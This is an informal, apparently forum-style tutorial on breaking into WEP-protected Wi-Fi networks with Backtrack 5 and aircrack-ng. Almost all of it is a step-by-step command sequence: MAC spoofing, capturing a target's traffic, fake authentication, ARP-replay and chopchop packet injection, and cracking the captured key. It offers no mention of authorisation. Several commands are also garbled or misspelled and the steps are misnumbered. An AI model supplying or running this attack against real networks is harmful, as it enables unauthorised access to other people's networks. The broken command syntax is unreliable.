Wifi Networking

Before we begin let's get familiar with these terms

ESSID-access point's name 

BSSID:MAC Address
MAC-Unique ID assigned to network interfaces for communications

First download Backtrack 5.It's got all the tools needed.You can get it from  http://www.backtrack-linux.org/downloads/
Open a new command line and type the following commands in direct order

airmon-ng
airmon -ng stop (interface)
ifconfig (interface) down macchanger --00:11:22:33:44:55 (interface)
airodump-ng (interface)
Hit Ctrl+C to stop the list
airodump-ng -c(channel) -w (file name) --BSSID (BSSID) (interface)

aireplay-ng -1 0 -a (BSSID) -h 00:11:22:33:44:55 -e (ESSID) (interface)/aireplay-ng -1 0 -e ESSID -a BSSID -h MAC address interface.
aireplay-ng -3 or 5 -b ( BSSID) -h 00:11:22:33:44:55 (interface)-wlan0
For aircrack:aircrack.ng wep key-01.cap


For monitor mode
airmon-ng <start|stop|check><interference>[channel frequency]

How to perform injection on
aireplay-ng -9(interface)
The AP that sends ping fan be injected
Copy down your targets BSSID,channel & ESSID
aireplay-ng -9 -e (ESSID) -a (BSSID) (interface)
This lets you test specifically,can be useful for verifying hidden SSIDs or alternative BSSIDs
3.Target a specific channel:
airmon-ng start (interface)(channel)
4.Change Mac adress:
airmon-ng stop (interface(s)
ifconfig (interface) down
macchanger--(faked:Mac)(interface)
Copy down faked Mac
5.Begin packet capture:

Using 'aireplay-ng -1 6000 -o 1 -q 10 -a (BSSID)
-h (faked:Mac) (interface)' may help for picky routers
7. ARP replay
* Put in the third shell*
aireplay-ng -3 or 5 -b (BSSID) -h   (faked:Mac)(interface)
Where -3 means standard arp request replay
          -b .............is the access point MAC address
          -h.............is the source MAC address (either an associated client or from fake authentication)

Fake authentification
aireplay-ng -mon0 -1 0 - a (BSSID)
aireplay-ng mon0 -1 6000 -o 1 -p 10 -a (BSSID)

Injection
aireplay-ng mon0 -3 -b (BSSID)
aireplay-ng mon0 -2 -p 0841 -a (BSSID)


Injection(chop chop technique)
aireplay-ng -4 -h (fake MAC address) -b (BSSID) interface